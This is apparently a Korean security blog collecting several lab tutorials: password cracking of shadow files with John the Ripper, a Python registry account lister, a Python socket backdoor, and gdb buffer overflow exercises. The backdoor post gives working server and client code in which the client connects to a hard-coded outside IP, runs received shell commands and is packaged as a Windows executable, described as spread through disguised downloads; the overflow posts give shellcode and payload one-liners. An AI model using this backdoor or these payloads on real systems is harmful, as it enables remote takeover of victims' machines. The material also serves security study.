2017. 1. 8. 00:13 :: 시스템 보안

안녕하세요. Message 입니다.

오늘은 존더리퍼(John the Ripper) 도구를 이용한 패스워드 크래킹 실습을 포스팅합니다.

실습환경은 윈도우/리눅스 모두 가능하며, 저의 경우는 칼리리눅스로 진행했습니다.

 

 

-----------------------------------------------------------------------------------------------------------------

0x00 준비

-----------------------------------------------------------------------------------------------------------------

 

비밀번호 크래킹과 관련된 도구는 크게 온라인/오프라인 나뉩니다.

온라인 도구로는 Hydra, Medusa, 데이터베이스 기반의 Findmyhash 등이 있습니다.

오프라인 도구는 오늘 살펴볼 John the Ripper (JTR) 가 대표적입니다.

존더리퍼는 유닉스 패스워드 크랙 도구로서, 초당 백만개 이상의 패스워드를 비교할 수 있다고 합니다.

성능이 더 좋은 도구들도 있지만, 크랙에 대한 배경지식을 쌓기에 유용한 도구라고 생각합니다.

 

윈도우 기반으로 사용하실분은 공식 홈페이지에서 Windows 버전으로 다운받으시면 됩니다.

URL : http://www.openwall.com/john/

 

존더리퍼는 칼리리눅스 05 - Password Attack 항목에 있으며, Johnny는 GUI기반입니다.

John의 경우 각종 옵션을 알아야 사용할 수 있으므로, 

Johnny를 통해 존더리퍼와 친숙해진 다음 John으로 넘어가겠습니다.

 

일단 존더리퍼로 크랙할 테스트 계정을 생성합니다.

저의 경우 아래와 같이 4개의 신규 계정을 추가하고, 비밀번호를 할당해주었습니다.

 test1 : test

 test2 : test!@#

 test3 : gksrmf -> 한글을 영어로 타자침

 test4 : gksrmf!@#

 

할당이 완료되었다면, shadow 파일에 패스워드가 해쉬되어 저장되었는지 확인합니다.

 

존더리퍼를 사용하기 이전에, 위에서 나온 shadow 파일과 구조에 대해서 간략히 알 필요가 있습니다.

일단 shadow 파일은 /etc/passwd 파일에 있는 패스워드 부분을 /etc/shadow에 두고 root만이 읽을 수 있는

400 권한으로 설정해두어 보안을 강화하기 위한 목적입니다.

shadow파일은 9개 항목으로 구성되며, 우리가 존더리퍼를 사용하면서 알아야할 부분은 암호가 해쉬되어 저장된 encryped 항목입니다.

구조 : [ $Hashid $Salt $Hash Value ]

 

Hashid는 첫번째 $ 뒤에 있는 문자로서, 아래 그림과 같이 Identifier에 따라 Hash Function과 Salt length 등이 변경됩니다.

 

Salt는 레인보우테이블을 이용한 단순 복호화를 방지하기 위한 값으로서, 두번째 $ 뒤에 있는 값입니다.

위에 있는 shadow 파일은 Identifier가 $6 이므로, SHA-512로 해쉬되어 2byte의 Salt 값을 가집니다.

Hash Value는 Hashid에 따른 해쉬방법과 Salt 값을 이용하여 Hash Function을 수행한 결과입니다.

 

 

 

-----------------------------------------------------------------------------------------------------------------

0x01 기능파악

-----------------------------------------------------------------------------------------------------------------

 

이제 어느정도 배경지식이 쌓였다면 Johnny를 통해 shadow 파일을 로드하여 살펴봅니다.

Shadow 파일의 내용이 User, Password, Hash 값 등으로 분리되어 있군요.

디폴트 모드로 바로 시작하려면 Start Attack 버튼을 누르면 되며, 결과값이 실시간으로 Password 항목에 채워집니다.

 

말이 나온김에 일단 Start Attack 버튼을 클릭해봅니다.

클릭한지 1초만에 root, test1 계정의 비밀번호가 바로 크랙되어 UI에 표기되었습니다.

gksrmf, test!@# 패스워드도 조금만 기다리면 될거라 예상했지만, 2시간이 넘어도 크랙되지 않았습니다.

하단에는 패스워드 크랙이 진행중인 계정의 개수와 함께 진행도가 %로 표시됩니다.

 

0~1초 크랙의 의미는, "크래킹 속도 매우 빠름" or "기본 사전파일에 해당 문구 있음" 정도로 유추할 수 있습니다.

존더리퍼 설정파일인 john.conf 파일의 내부를 살펴보면, Default wordlist를 사용하고 있음을 알 수 있으며

기본 wordlist에는 대부분이 문자열, 숫자열이고 특수문자는 거의 존재하지 않습니다.

 

Output 탭으로 이동하면 콘솔모드의 john에 표기되는 문구들을 볼 수 있습니다.

Identifier가 $6 이었기 때문에 sha512crypt 알고리즘으로 인지하였고, 4 OpenMP threads 모드로 크랙이 진행되는군요.

 

실제로 존더리퍼가 어떤 작업을 수행하고 있는지는 로그 파일을 살펴보면 됩니다.

John의 로그파일이 생성되는 경로는 환경마다 다를 수 있지만, 저의 경우 /root/.john/ 폴더에 생성되었습니다.

Johnny 로그파일은 동일 경로 jhonny 폴더 내부에 생성됩니다. 3개가 생성되어 있네요.

 

default.log 파일을 살펴보면 session의 시작부터 각종 rule이 적용되는 부분이 보입니다.

root와 test1 계정의 패스워드는 0초만에 크랙되었습니다.

 

이후 타임라인이 1시간이 지나도록 별다른 성과는 없었습니다.

 

 

이제 실행도 시켜 보았으니 존더리퍼를 좀더 유용하게 사용하기 위한 옵션을 알아봅니다.

Options 탭으로 이동하면 존더리퍼의 기능 5가지가 나옵니다.

Default behavior

   기본적인 모드로서, "Single crack"  → "wordlist" → "incremental" 순으로 크랙이 진행됩니다.

   순차적으로 실행되는 모드들은 기본으로 실행됩니다.

"Single crack" mode

   존더리퍼에서 가장 빠른 크래킹 기능입니다.

   계정명 + other information + word mangling(혼합)을 이용한 "Single" rule을 사용합니다.

   여기서 other information은 존더리퍼의 나름 자체적인 알고리즘이 아닐까 싶습니다.

"Wordlist" mode

   가장 많이 사용될만한 기능입니다. 말그대로 사용자가 사전파일을 대입하여 크랙을 진행할 수 있습니다.

   use rules 옵션을 지정하지 않으면, 사전파일에 있는 문구만 대입합니다.

   use rules 옵션을 지정하면, 대입한 사전파일 단어에 각종 알고리즘을 적용합니다. (사전파일이 클수록 많은 시간이 소요됨)

  

  

 

   하지만 Johnny 에서 use rules를 체크하거나, John에서 -rules 옵션을 지정해주면

   아래와 같이 mangling 옵션등을 활성화하여 룰을 적용합니다.

  

 

"Incremental" mode

   가장 강력한 기능을 가진 크래킹 옵션입니다. 모든 가능한 조합을 시도합니다.

   하지만 그만큼 시간이 필요하므로, 침투테스트 시간이 길지 않다면 사용하기 힘든 옵션입니다.

"External" mode

   사용자의 코드를 이용하여 크래킹을 flexible 하게 시도할 수 있습니다.

 

 

 

-----------------------------------------------------------------------------------------------------------------

0x02 크래킹의 시작 + 마무리

-----------------------------------------------------------------------------------------------------------------

 

이제 어느정도 기능 파악이 되었으니, 주어진 환경에서 크랙을 시도해볼일만 남았습니다.

침투테스트 기간이 항상 길다는 보장이 없으므로, 아마 사전파일을 이용한 크랙이 주를 이룰거라 생각됩니다.

사전파일을 만드는 방법은 이미 작성된 파일을 구하거나 직접 유추하는 방법이 있으며,

crunch,  cupp, 워드하운드, BruteScrape 등의 도구를 사용하는 방법도 있습니다.

 

여기서는 도구를 사용하는 방법보다는 기존에 작성된 파일을 이용한 크랙을 시도합니다.

제가 사용한 사전파일 다운로드는 아래 URL에서 가능합니다. 10억개의 사전파일이 있다는군요.

URL : https://dazzlepod.com/uniqpass/

 

또한 HackerPlaybook 책에서도 소개된 brutescrape 도구를 이용하여

침투테스트를 수행하고 있는 웹사이트의 정보를 모아 사전파일을 만들어 추가시키는것도 큰 도움이 될 수 있습니다.

GitHub : https://github.com/cheetz/brutescrape

 

아래 명령어는 콘솔모드인 John에 사전파일(passwords.txt)을 대입하여 크랙을 시도하는 명령어입니다.

진행도는 다른 콘솔을 열어서 -show 옵션을 주면 체크할 수 있습니다.

크랙 명령어 :  john -w:passwords.txt -rules shadow

진행도 확인 :  john -show shadow

 

이제 기다리는 일만 남았습니다.

개인적으로 패스워드 크래킹을 공부하면서, 시간 + 사전파일(+노하우)이 중요하다는 느낌이 듭니다.

시간이 제한적이라면 노하우를 통해 조금이라도 시간을 줄여야겠죠..

포스팅을 마칩니다. 읽어주셔서 감사합니다.

 

posted By Message.

Commit your way to the LORD, trust in him and he will do this. [PSALms 37:5]

 

posted by Red_Message
2016. 4. 4. 22:50 :: 시스템 보안

안녕하세요~ Message 입니다.

 

파이썬은 레지스트리 정보 조회를 위해 _winreg 모듈을 지원합니다.

_winreg 모듈은 윈도우 레지스트리 API를 파이썬에서 사용할 수 있도록 지원하는 매개체 역할을 합니다.

아래 소스는 파이썬을 사용해서 자동으로 사용자 계정 목록을 조회하는 프로그램입니다.

 

1) 소스코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# -*- coding: utf-8 -*-
 
from _winreg import *
import sys
 
varSubkey = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" # 서브레지스트리 목록 지정
varReg = ConnectRegistry(None, HKEY_LOCAL_MACHINE) # 루트 레지스트리 핸들 객체 얻기
varKey = OpenKey(varReg, varSubkey) # 레지스트리 핸들 객체 얻기
 
for i in range(1024):
    try:
        keyname = EnumKey(varKey, i) # 지정한 레지스트리의 하위 키값 조회
        varSubkey2 = "%s\\%s" % (varSubkey, keyname) # 하위 레지스트리 목록 생성 : 상위 레지스트리 목록과 하위 키값 결합
        varKey2 = OpenKey(varReg, varSubkey2) # 레지스트리 핸들 객체 얻기
        try:
            for j in range(1024):
                n, v, t = EnumValue(varKey2, j) # 레지스트리 가진 데이터 얻기 : 값이름, 데이터형, 데이터 조회
                if("ProfileImagePath" in n and "Users" in v): # 사용자 계정 정보 추출
                    print v
        except:
            errorMsg = "Exception Inner:", sys.exc_info()[0]
            #print errorMsg
        CloseKey(varKey2)
    except:
        errorMsg = "Exception Outter:", sys.exc_info()[0]
        break
    
CloseKey(varKey) # 핸들 객체 반환
CloseKey(varReg)
    
cs

 

 

2) 실행결과

해당 프로그램을 실행하면 아래와 같이 계정 정보가 출력됩니다.

테스트를 위해서 새로운 계정을 추가하고, 재부팅한 후 돌려봤지만 바로 적용되지는 않았습니다.

레지스트리가 최신화 되지 않으면 나오지 않는것 같습니다.

실시간으로 원하는 결과를 얻고자 한다면 약간의 보완이 필요할것으로 보이네요.

 

 

참고 : 파이썬 해킹 입문 / 조성문, 정영훈 지음

posted by Red_Message
2016. 3. 31. 15:12 :: 시스템 보안

안녕하세요~ Message 입니다.

 

시스템해킹의 첫번째 단계는 해킹 프로그램을 시스템 내부에 설치하는것으로 시작합니다.

일반적인 경로를 통해 프로그램을 설치하기는 쉽지 않으므로

웹이나 토렌트를 통해서 파일 다운로드를 유도합니다.

동영상 파일이나 음악 파일을 내려받아 실행하면 사용자가 모르는 사이에 프로그램이 설치됩니다.

(전 포스팅에서 이미지 파일 해킹 관련된 부분이 있습니다)

 

감염된 사용자 PC가 방화벽 내부에 있는 주요 시스템을 운영하는 관리자 PC일 때는

3/20 사태와 같은 심각한 상황을 초래할 수 있습니다.

아래 소스는 클라이언트/서버간의 소켓 통신을 이용한 백도어입니다.

 

1) 서버 : backdoorServer.py

① 호스트지정 >  ② 포트지정 >  ③ 소켓옵션설정 >  ④ 연결큐 크기지정  >  ⑤ 명령어입력 >  ⑥ 명령어전송 >  ⑦ 결과수신

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding: utf-8 -*-
 
from socket import *
 
HOST = '' # 호스틎지정 : 소켓 연결을할 주소를 지정한다. 주소가 공백으로 지정되면 모든 호스트에서 연결 가능
PORT = 11443 # 포트지정 : 클라이언트와의 접속에 사용되는 포트 지정. 여기서는 시스템에서 예약되지 않은 11443 포트 사용
 
serverSock = socket(AF_INET, SOCK_STREAM)
serverSock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1# 소켓 옵션 설정 : 소켓과 관련된 가장 일반적인 옵션인 SOL_SOCKET 사용
serverSock.bind((HOST, PORT))
serverSock.listen(10# 연결 큐 크기 지정 : 서버와의 연결을 위해서 큐에 대기할 수 있는 요청의 수를 지정
 
conn, addr = serverSock.accept()
print 'Connected By ', addr
data = conn.recv(1024)
while 1:
    command = raw_input("Enter shell command or quit: "#명령어 입력
    conn.send(command) # 명령어전송
    if command == "quit" : break
    data = conn.recv(1024# 명령어수신
    print data
conn.close
 
cs

 

2) 클라이언트 : backdoorClient.py

① 서버IP와 포트지정>  ② 명령어수신 >  ③ 명령어실행 >  ④ 파이프를 통한 결과값 출력 >  ⑤ 결과값전송

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# -*- coding: utf-8 -*-
 
import socket
import subprocess
 
HOST = '125.31.148.160' # 서버 IP와 포트 지정 : 백도어 서버가 가진 IP를 지정하고 연결에 사용할 포트를 지정
PORT = 11443
clientSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
clientSock.connect((HOST, PORT))
clientSock.send('[*] Connection Established!')
 
while 1:
    data = clientSock.recv(1024# 명령어수신
    if data == "quit": break
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, 
            stderr=subprocess.PIPE, stdin=subprocess.PIPE) # 명령어실행 : 입력,출력,오류 메시지를 담당하는 파이프를 생성해서 프로세스 간에 원활한 통신 지원
    stdout_value = proc.stdout.read() + proc.stderr.read() # 결과출력 :  파이프를 통해서 실행 결과와 오류 메시지를 출력
    clientSock.send(stdout_value) # 결과전송 : 소켓을 통해서 서버로 실행 결과를 전송
clientSock.close()
 
cs

 

3) Python 윈도우 실행파일 변환

파이썬으로 프로그래밍한 소스파일을 윈도우 실행 파일로 변환하려면 관련 모듈을 설치해야합니다.

www.py2exe.org 사이트의 py2exe-0.6.9.win32-py2.7.exe 프로그램을 받아 설치합니다.

이후 아래와 같은 setup.py를 작성합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from distutils.core import setup
import py2exe
 
options = {
    "bundle_files"  : 1,
    "compressed"    : 1,
    "optimize"      : 2,
}
 
setup (
    console = ["backdoorClient.py"],
    options = {"py2exe" : options},
    zipfile = None
)
cs

저의 경우 import py2exe에 빨간줄이 쳐졌지만, 정상동작 했습니다.

setup.py 파일과 backdoorClient.py 파일을 같은 디렉토리에 넣고 CMD에서 아래 명령어를 실행합니다.

C:\> python -u setup.py py2exe

실행하면 build 폴더와 dist 폴더가 생성됩니다.

dist폴더의 backdoorClient.exe를 클라이언트에서 실행시키면 됩니다.

 

4) 실행결과

책에 나와있다싶이, 실제 백도어는 고난도의 기술이 필요합니다.

아래와 같이 dir 명령어는 동작했지만, 다른 명령어는 오류가 많이 발생했습니다.

(에러처리만 해도 양이 어마어마할 것 같습니다.)

하지만 동작 원리를 이해할 수 있는 챕터였습니다.

 

참고 : 파이썬 해킹 입문 / 조성문, 정영훈 지음

 

posted by Red_Message
2015. 4. 23. 14:27 :: 시스템 보안
[Message] gdb를 이용한 버퍼 오버플로우 실습3

http//pwnable.kr/?p=probs 사이트에 있는 bof[PT5] 문제를 풀이합니다.

실행환경은 칼리리눅스입니다.

 

1. 소스코드 실행

1) 다운로드

위 사이트에 접속하여 bof PT5 실행파일을 다운로드합니다.

 

2) 스택고정

랜덤스택을 disable하기 위해 아래와 같은 명령어를 입력합니다.

- echo 0 > /proc/sys/kernel/randomize_va_space

 

3) GDB 실행

-q 옵션을 이용하여 gdb를 실행합니다.

- set disassembly-flavor intel 옵션을 이용하여 인텔 문법으로 설정하고 main을 살펴봅니다.

main함수에 브레이크를 걸고 실행을 한번 해야 함수명들이 보입니다.

 

main함수

main함수에서는  <func> 함수와 인자값으로 들어가는 0xdeadbeef 변수가 보입니다.

 

func함수

 

 

2. 분석

1) main

main에서는 복잡한 내용없이 0xdeafbeef를 인자로 넣고 func 함수를 실행합니다.

 

1) func

<puts>

func 함수에서 첫번째 호출되는 함수는 <puts> 함수입니다.

 

들어가는 매개변수를 확인해보면 "overflow me : " 라고 되어있습니다.

 

<gets>

func함수에서 두번째 호출되는 함수는 <gets> 함수입니다.

[ebp-0x2c] 버퍼에 gets로 받은 값을 저장합니다.

 

<비교구문>

cmp를 이용하여 [ebp+0x08], 즉 함수의 첫번째 전달인자와 0xcafebabe를 비교합니다.

첫번째 인자는 0xdeadbeef이므로, 값을 변경하지 않는이상 <func_63>으로 점프합니다.

점프후에 0x800007a3값을 출력하고 끝냅니다.

해당 값은 아래와 같습니다.

만약 값이 0xcafebabe일 경우, system 함수를 호출하고 종료하게됩니다.

 system 함수에 들어가는 인자는 아래와 같습니다.

 

 

3. 풀이방법

0xdeedbeef 값을 0xcafebabe로 바꿔야 하므로,

입력하는 버퍼를 이용하여 RETN 아래에 위치한 매개변수를 0xcafebabe로 덮어쓰면 됩니다. (아래그림 참고)

따라서 쓰레기값 문자열 "A"를 52개를 넣고, 끝부분에 "0xcafebabe"를 넣습니다.

4. 0xdeadbeef 덮어쓰기

1) 사용할 코드

파이썬으로 "A"문자열 52개를 만들고, 뒷부분에 "0xcafebabe"를 입력합니다.

argvs가 인자가 아니므로, 파이프라인으로 bof파일에 입력값을 넣어줍니다.

(python -c 'print "A"*52 + "\xbe\xba\xfe\xca"' ; cat) | ./bof

 

2) 실행결과

 

 

posted by Red_Message
2015. 4. 23. 09:14 :: 시스템 보안

gdb를 이용한 버퍼 오버플로우 실습2

버퍼공간이 작을 때 우회하는 방법으로 버퍼오버플로우를 실습합니다.

1. 소스코드 작성

1) 소스코드 작성

아래와 같은 간단한 소스코드를 작성합니다. 지난번 실습과 다른점은 버퍼의 크기가 4밖에 되지 않습니다.

 

2) 컴파일

아래와 같은 옵션으로 컴파일을 수행합니다.

-fno-stack-protector : 스택 보호 기법 해제

-mpreferred-stack-boundary=2 : 스택 더미 없애기

-z execstack : 스택 메모리에 실행권한 부여

 

3) 스택고정

랜덤스택을 disable하기 위해 아래와 같은 명령어를 입력합니다.

- echo 0 > /proc/sys/kernel/randomize_va_space

 

2. 풀이방법

버퍼공간이 4byte밖에 되지 않기때문에 리턴값이 들어있는 주소 아래에

쉘코드를 삽입하여 실행시키는 방법으로 진행합니다.

NOP이 추가되는 이유는 시스템마다 주소가 조금씩 바뀔 수 있으므로 NOP코드를 추가하여

쉘코드 주변의 NOP코드로 점프하게 될 경우 쉘코드를 실행시킬 수 있도록 만들기 위해서입니다.

 

3. gdb 실행

 -q 옵션을 이용하여 gdb를 실행합니다.

- set disassembly-flavor intel 옵션을 이용하여 인텔 문법으로 설정하고 main을 살펴봅니다.

 

4. NOP코드가 끝나고 쉘코드가 들어가는 주소 얻기

ebp 주소값을 얻어내기 위해 main+3으로 브레이크 포인트를 걸고,

argv의 인자로 "AAAAAAAATEST"를 넣어줍니다.

ebp의 값이 "0xbffff4e8"이므로 "0xbffff4ec"에 RET값이 들어가며,

"0xbffff3d0"에 NOP코드가 들어갑니다. (NOP코드는 길어져도 상관없습니다)

따라서 쉘코드가 들어가는 주소는 NOP코드의 시작주소부터 "0xbffff3d4" 사이에 들어가면 됩니다.

 

5. RET를 덮어쓰기

1) 사용할 쉘코드

구글링을 이용하여 사용할 쉘코드를 얻습니다. 저는 아래와같은 코드를 사용했습니다.

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

 

2) 실행

실행하기 위해 아래와 같은 명령어를 입력합니다.

r $(python -c 'print "AAAAAAAA" + "RET주소" + "NOP코드" + "쉘코드""')

RET주소 : NOP코드가 끝나고 쉘코드가 들어가는 주소

NOP코드 :  "\x90\x90\x90\x90"

쉘코드 : "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

 

3) 결과 확인

리턴값을 조작하여 buffer에 입력된 쉘코드의 주소를 넣어주었고, 코드가 실행되면서 쉘(하단의 '#')을 얻게됩니다.

만약 segmentation fault가 나오는 경우, buffer의 주소를 잘못입력했거나, 쉘코드가 잘못 입력되었을 가능성이 있습니다.

 

얻어낸 쉘을 이용하여 명령어를 입력해봅니다.

 

posted by Red_Message
2015. 4. 22. 12:54 :: 시스템 보안

gdb를 이용한 버퍼 오버플로우 실습

칼리리눅스로 간단한 소스코드를 이용한 버퍼오버플로우를 실습합니다. 

 

1. 소스코드 작성

1) 소스코드 작성

아래와 같은 간단한 소스코드를 작성합니다.

 

2) 컴파일

아래와 같은 옵션으로 컴파일을 수행합니다.

-fno-stack-protector : 스택 보호 기법 해제

-mpreferred-stack-boundary=2 : 스택 더미 없애기

-z execstack : 스택 메모리에 실행권한 부여

 

3) 스택고정

랜덤스택을 disable하기 위해 아래와 같은 명령어를 입력합니다.

 

2. 풀이방법

버퍼에 쉘코드를 넣고, RETN에 buffer의 시작주소를 입력합니다.

변경된 RETN주소는 pop 되면서 버퍼주소로 이동하게 되며,

쉘코드가 실행되면 쉘을 획득할 수 있습니다.

3. gdb 실행

 -q 옵션을 이용하여 gdb를 실행합니다.

- set disassembly-flavor intel 옵션을 이용하여 인텔 문법으로 설정하고 main을 살펴봅니다.

 

 

4. buffer 시작 주소 얻기

buffer 시작주소를 얻기 위해 main+30에 브레이크 포인트를 걸고 eax값을 얻습니다.

여기서 eax값은 strcpy함수를 call 하기 위해 넣어주는 buffer의 주소입니다.

 

1) 브레이크 포인트 걸고 실행

 

2) eax 값 알아내기

레지스터 정보를 출력하는 info register 명령어로 eax의 값을 알아냅니다.

 

5. RET를 덮어쓰기

1) 사용할 쉘코드

구글링을 이용하여 사용할 쉘코드를 얻습니다. 저는 아래와같은 코드를 사용했습니다.

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

 

2) 실행

RET 값을 덮어쓰기 위해 아래와 같은 명령어 입력해야합니다.

명령어가 길지만 뜯어보면 [ 쉘코드 + A x 236 + buffer주소 ] 입니다.

buffer 주소값은 거꾸로 적어주어야 합니다.

파이썬을 사용한 이유는 A*236개를 쉽게 입력하기 위해 사용한겁니다.

r $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "A"*236 + "\xe8\xf2\xff\xbf"')

 

3) 결과 확인

리턴값을 조작하여 buffer에 입력된 쉘코드의 주소를 넣어주었고, 코드가 실행되면서 쉘(하단의 '#')을 얻게됩니다.

만약 segmentation fault가 나오는 경우, buffer의 주소를 잘못입력했거나, 쉘코드가 잘못 입력되었을 가능성이 있습니다.

 

얻어낸 쉘을 이용하여 명령어를 실행시킵니다.

 

 

posted by Red_Message
2015. 4. 21. 14:37 :: 시스템 보안

gdb 다루기

칼리리눅스를 이용하여 어셈블리어 실습을 위한 gdb 실습을 해보겠습니다.

 

1. 실행방법

1) 테스트 프로그램 example.c 작성

두개의 정수를 합쳐수는 함수가 포함된 간단한 프로그램을 작성합니다.

 

2) 옵션을 사용하여 컴파일

stack-protector 를 없애지 않고 컴파일 할 경우 실습하는데 어려움이 있을 수 있습니다.

 

3) gdb 실행

- q : gdb 실행하면서 프린트되는 설명 생략

 

 

2. 어셈블리어 코드 보기

- set disassembly-flavor intel : AT&T 어셈블리어 명령어를 Intel 어셈블리어 명령어로 변경

 

 

3. 브레이크 포인트

1) 브레이크포인트 명령어

- b func

- b *func+5

- b *0x8040000

- info break : 현재 걸려 있는 모든 break 포인트 확인

- delete : 브레이크포인트 모두 지우기

 

     2) 진행명령어

- r : 프로그램을 수행한다.

- kill : 프로그램 종료

- si : 다음 인스트럭션 실행, 만약 함수라면 안으로 진입

- ni : 다음 인스트럭션 실행, 함수 안으로 진입하지 않는다.

- c : 다음 브레이크 포인트로 진행

 

3) main함수에 브레이크 포인트 걸고 실제 확인

 

 

4. 메모리검사

1) 진행명령어

- x/"범위""출력형식""범위의단위" "메모리주소 또는 함수명"

- 출력형식 : x (16진수), s (문자열), I (명령어)

- 범위의단위 : b (1byte), h(2byte), w(4byte), g(8byte)

 

2) 실행예제

ex) x/20wx $esp : esp가 가리키는 메모리부터 높은 주소쪽으로 4byte 씩 20개 출력

 

 

 

 

posted by Red_Message